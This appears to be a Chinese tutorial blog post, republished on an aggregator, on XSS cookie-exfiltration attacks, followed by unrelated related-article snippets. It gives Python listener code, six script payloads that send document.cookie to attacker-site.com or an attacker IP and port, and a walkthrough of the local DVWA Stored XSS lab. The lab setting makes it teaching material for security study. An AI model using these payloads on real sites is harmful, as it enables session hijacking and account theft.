[网络安全]XSS之Cookie外带攻击姿势及例题详析

news2024/12/23 3:31:40

[网络安全]XSS之Cookie外带攻击姿势及例题详析

    • 概念
    • 姿势及Payload
      • 启动HTTP协议 method1
      • 启动HTTP协议 method2
    • 例题详析
      • Payload1
      • Payload2
        • window.open
    • 总结

本文仅分享XSS攻击知识,不承担任何法律责任。
本文涉及的软件等请读者自行安装,本文不再赘述。


概念

XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息

攻击者通常会利用已经存在的 XSS 漏洞,在受害者的浏览器上注入恶意代码,并将受害者的 Cookie 数据上传到攻击者控制的服务器上,然后攻击者就可以使用该 Cookie 来冒充受害者,执行一些恶意操作,例如盗取用户的账户信息、发起钓鱼攻击等。


姿势及Payload

XSS 的 Cookie 外带攻击分为

  • 在输入框中注入恶意代码
  • 在 URL 中注入特定的参数或路径来触发
  • 其它方法
  1. 在输入框中注入恶意代码的方式可能包括:在评论框、留言框、搜索框等用户输入区域中插入可执行的 JavaScript 代码,或者在提交表单时篡改表单字段、注入恶意脚本等。当用户提交表单时,恶意代码被执行并将 Cookie 数据上传到攻击者的服务器上。

  2. 在 URL 中注入恶意参数或路径的方式通常包括:将包含恶意脚本的 URL 发送给受害者,或者将其嵌入到网站的页面中,并欺骗受害者点击该链接。一旦受害者点击了该链接,则可触发 XSS 漏洞,从而实现 Cookie 外带攻击。

  3. 其他的触发方式,包括:

通过恶意广告:攻击者可以将恶意脚本插入到广告代码中,然后在网站上显示这段广告。当用户点击该广告或鼠标移动到该广告区域时,恶意代码被执行,从而触发 XSS 攻击。

通过 CSRF 攻击:攻击者可以在已登录的用户浏览器中执行 CSRF(跨站请求伪造)攻击,并在攻击载荷中注入恶意 XSS 代码。当用户访问包含恶意代码的页面时,会触发 XSS 攻击。

通过文件上传:攻击者可以在 Web 应用程序中上传包含恶意脚本的文件,例如图片、文档或视频等。当用户下载并打开该文件时,恶意代码被执行,从而触发 XSS 攻击。

在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址


启动HTTP协议 method1

本文使用本机起IP地址

  1. 使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。

  2. 导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。

    import socket
    
  3. 选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。你可以选择任何未使用的端口号作为监听端口。

    HOST = 'localhost'  # 或者使用本机的 IP 地址,如 '192.168.1.2'
    PORT = 8000 #或2023、2020
    
  4. 需要创建一个 socket 对象。可以使用 socket() 函数来创建一个 socket 对象,并指定协议族(例如 AF_INET),以及套接字类型(例如 SOCK_STREAM)。

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
  5. 绑定主机地址和端口号到 socket 对象上。可以使用 bind() 函数来绑定主机地址和端口号。

    server_socket.bind((HOST, PORT))
    
  6. 开始监听连接请求。可以使用 listen() 函数来开始监听连接请求。传入的参数表示最大等待连接数。

    server_socket.listen(2)
    

综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:

import socket

HOST = '本机IP地址'
PORT = 2022

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)

print('等待客户端连接...')

# 接受客户端连接
client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)

# 接收客户端发送的数据
data = client_socket.recv(1024)
print('接收到数据:', data.decode())

# 将接收到的数据原样返回给客户端
client_socket.sendall(data)

# 关闭客户端连接
client_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源;

# 关闭服务器套接字
server_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源。

  • 一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)

  • recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;

  • 将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。

注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送

接着,使用 Python 解释器来执行该文件。可以通过终端或命令提示符进入包含该文件的目录,并使用 python 命令后跟文件名来运行该文件,例如:

python test.py

其中,test.py 是 Python 文件的文件名。执行后,服务器将启动并开始监听指定的 IP 地址和端口号,等待客户端连接。

最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。


启动HTTP协议 method2

打开python2终端输入:

python2 -m SimpleHTTPServer 8080(端口号)

打开python3终端输入:

python3 -m http.server 8080(端口号)

即可监听8080端口,接受XSS语句外带的Cookie


以下是一些常见的 XSS 的 Cookie 外带攻击语句:

  1. 利用 document.cookie 获取当前域下所有 cookie 的值:

<script>new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;</script>

  1. 将当前页面的 URL 和 Cookie 发送到攻击者的服务器:

<img src="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" />

  1. 利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:

<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker-site.com/logger.php", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>

  1. 利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:

<script>window.location="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie);</script>

  1. 利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

<script>document.write('<img src="http://ip:端口号/'+document.cookie+'"/>')</script>

  1. 通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie

<img src=1 onerror=window.open("http://ip:端口号/?id="+document.cookie)>

例题详析

本文以DVWA之XSS(Stored) low-level为例,通过DVWA本地环境进行XSS之Cookie外带例题详析。

  1. 写入python文件,以test.py命名,IP为本机IPv4地址,端口为2022,启动监听
    在这里插入图片描述

  2. 在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie

Payload1

Name栏输入:1
Message栏输入:<script>document.write('<img src="http://IPv4地址:2022/'+document.cookie+'"/>')</script>

在这里插入图片描述
绕过Message栏的字符串长度限制可参考:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

如下图,XSS语句注入成功:
在这里插入图片描述

端口监听到数据:

在这里插入图片描述

Payload2

<img src=1 onerror=window.open("http://IPv4地址:2022/?id="+document.cookie)>
使用 onerror 事件的方式,在图片加载失败时触发一个错误事件,通过 window.open 方法打开了指定的攻击机地址,并传递cookie

window.open

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象。在实际应用中,可以使用该方法来实现各种功能,如显示广告、打开弹窗、播放视频等。

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

window.open("http://www.example.com");

除了 URL 参数之外,还可以传递一些可选的参数,如窗口大小、位置、工具栏和滚动条等属性。例如:

window.open("http://www.example.com",
            "myWindow",
            "width=400,height=300,left=100,top=100,toolbar=yes,scrollbars=yes");

如下图,XSS语句注入成功:
在这里插入图片描述

页面跳转并传递cookie:
在这里插入图片描述


总结

以上为[网络安全]XSS之Cookie外带攻击姿势及例题详析,读者可躬身实践,
DVWA之XSS相关:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集

我是秋说,我们下次见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/542916.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Node.js 学习系列(五)—— 文件系统

Node.js 提供一组类似 UNIX&#xff08;POSIX&#xff09; 标准的文件操作API。 Node 导入文件系统模块 (fs) 语法如下所示&#xff1a; var fs require("fs")异步和同步 Node.js 文件系统&#xff08;fs 模块&#xff09;模块中的方法均有异步和同步版本。 读取文…

异常体系与项目实践

程序式阴影&#xff1a;为什么不报错&#xff1f; 一、简介 在程序开发的过程中&#xff0c;异常处理从来都是一个复杂的维度&#xff0c;无论是新手还是经验老到的选手&#xff0c;在编码时都会面对各种异常情况&#xff1b; 程序中的异常可以反映系统的缺陷和待优化的点&am…

【STM32】基础知识 第十四课 看门狗 IWDG 深入理解与应用

【STM32】基础知识 第十四课 看门狗 IWDG 深入理解与应用 概述什么是独立看门狗 (IWDG)独立看门狗工作原理键寄存器状态寄存器 (IWDG_SR)寄存器配置操作步骤 案例总结 概述 STM32 系列单片机具有强大的内置功能, 其中之一就是独立看门口 (IWDG). 看门狗定时器是一种重要的硬件…

webpack Plugin Loader

本文作者为 360 奇舞团前端开发工程师 webpack是Javascript工具链的关键部分。webpack是个用于现代JavaScript应用程序的静态模块打包工具。它不仅可以支持ESM和CommonJS模块化编程&#xff0c;而且还可以支持或扩展支持许多不同的静态资源&#xff0c;例如&#xff1a;Files,I…

我将开始更新 强化学习

你好&#xff0c;我是zhenguo&#xff08;郭震&#xff09; 很久没有更新文章&#xff0c;从现在开始我将逐步恢复更新。在接下来的日子&#xff0c;我将系统更新强化学习文章&#xff0c;在期间&#xff0c;也会插播一些读博做科研的一些日常总结。如果你感兴趣&#xff0c;欢…

【观察】华为:持续创新,场景聚焦,推动数据中心实现可持续发展

毫无疑问&#xff0c;在数字经济时代&#xff0c;数据被纳入“新型生产要素”&#xff0c;而数据中心作为承载数据价值的关键&#xff0c;不仅是国民经济发展的重要基础设施&#xff0c;更成为了科技创新和技术应用的实体。也正因此&#xff0c;过去十几年数据中心产业实现了快…

最新开源!更擅长推理的LLaMA大模型,支持中文

©PaperWeekly 原创 作者 | 李忠利 研究方向 | 自然语言处理 跟大家介绍一下自己最近训练的 LLaMA 模型——BiLLa: A Bilingual LLaMA with Enhanced Reasoning Ability. Github 地址&#xff1a; https://github.com/Neutralzz/BiLLa HuggingFace 模型&#xff1a; ht…

【Python】数据分析与可视化实践:收支日统计数据可视化的实现

Python数据分析与可视化实践&#xff1a;收支日统计数据可视化的实现 Author&#xff1a;萌狼蓝天 Date&#xff1a;2023-5-7 数据读入与基本处理 上图是原始数据的一部分&#xff0c;存放于excel中&#xff0c;首先使用pd读入数据。读入数据后&#xff0c;删除不是收入&#x…

chatgpt赋能Python-python3_8_3怎么用

Python 3.8.3&#xff1a;简介与使用 Python是一种高级编程语言&#xff0c;拥有许多库和框架&#xff0c;是Web开发、数据分析、机器学习、人工智能等领域的首选语言之一。而Python 3.8.3是Python的最新版本&#xff0c;在新功能、稳定性、安全性等方面都有很大提升。 Pytho…

Midjourney 创建私人画图机器人,共享账号如何设置独立绘画服务器

本教程收集于:AIGC从入门到精通教程 Midjourney 创建私人画图机器人,共享账号如何设置独立绘画服务器 你是不是遇到以下问题: 1.Midjourney会员怎么自建绘图服务器,不受其他人的打扰? 2.Midjourney会员共享账号如何自建服务器,供其他人使用? 3.在官方服务器作图,频…

gRPC-go参数功能介绍总结目录(专栏)

本篇文章是gRPC-go框架的参数功能介绍总结 本篇文章的目的: 查看快速方便查询gRPC-go都有哪些参数可用!可以快速的查询到相关案例!gRPC-go版本是v1.30.0 可以从下面的地址下载gRPC-go版本 链接: https://pan.baidu.com/s/1za02qnUII78n-XhlrLf7RA 密码: 3tok 1、grpc-go客…

深入浅出 OkHttp 源码解析及应用实践

作者&#xff1a;vivo 互联网服务器团队- Tie Qinrui OkHttp 在 Java 和 Android 世界中被广泛使用&#xff0c;深入学习源代码有助于掌握软件特性和提高编程水平。 本文首先从源代码入手简要分析了一个请求发起过程中的核心代码&#xff0c;接着通过流程图和架构图概括地介绍…

chatgpt赋能Python-python3_7_6怎么用

Python 3.7.6怎么用 – 简单易上手的编程语言 Python是一种简单易用的编程语言&#xff0c;已经成为了计算机科学领域中最受欢迎的语言之一。Python内置了许多库和工具&#xff0c;可以让用户轻松地完成各种任务。 作为Python的最新版本&#xff0c;Python 3.7.6带来了许多令…

Java Web项目中无效数据怎样处理?

最近在做一个java web项目(自己随便想的)&#xff0c;遇到一个这个的需求&#xff0c;就是从后台数据库根据用户id数据查询用户信息给前端用作个人主页展示吧&#xff01;&#xff0c;但是后台数据库中用户信息中是有密码字段(虽然进行了加密处理)的&#xff0c;对于这个密码数…

一个玩游戏的失足青年,转行做编程到教育的挣扎过程(3/4)

有一个人&#xff0c;从小的心愿是当一名飞行员&#xff0c;终于有一天他当上了飞行员。 但是&#xff0c;他第一次飞行时&#xff0c;飞机就出事了。 好在他能够跳伞。但是&#xff0c;降落却是坏的&#xff0c;打不开...... 突然&#xff0c;他看见了在正下方的地上&#xff…

声音生成——将Autoencoder修改成Variant Autoencoder在mnist训练

文章目录 概述VariantAutoencoder.py文件实现关闭eager execution修改bottlenectk组件修改loss损失函数VariantAutoencoder.py实现的全部代码 train.py文件实现load_mnist模块train模块完整代码执行效果 总结Analysis代码 概述 之前的一篇文章中&#xff0c;介绍了如何实现aut…

if

[rootes3 data]# cat ifaction.sh #!/bin/bash#********************************************************************read -p "请输入身高(m为单位): " HIGH if [[ ! "$HIGH" ~ ^[0-2](\.[0-9]{,2})?$ ]];then echo "输入错误的身高!" exit…

面试字节,简历做了点手脚,第三方背调公司查出来了,被撤销offer!

简历做了手脚被查出来&#xff0c;怎么办&#xff1f; 一位面试字节的程序员哀叹&#xff1a; 运气差&#xff0c;在简历上做了点手脚&#xff0c;被第三方背调查出来了&#xff0c;只能等着被通知撤销offer&#xff01; 有人说&#xff0c;现在背调查的可严格了&#xff0c;字…

Robust 2.0:支持Android R8的升级版热修复框架

2016年&#xff0c;我们对美团Android热更新方案Robust的技术原理做了详细介绍。近几年&#xff0c;Google 推出了新的代码优化混淆工具R8&#xff0c;Android 热修复补丁制作依赖二次构建包和线上包对比&#xff0c;需要对Proguard切换到R8提前进行适配和改造&#xff0c;本文…

鄞州银行:符合中小银行质量提升的数据治理方案

案例简介 在数字化转型的驱动和数据治理“严监管”的推动下&#xff0c;为解决金融机构数据治理体系不健全、数据质量低下等问题&#xff0c;利用数据治理成熟度评估模型进行问题分析定位&#xff0c;重点围绕数据规划、组织机制、标准建设以及数据类平台建设等方面进行数据质…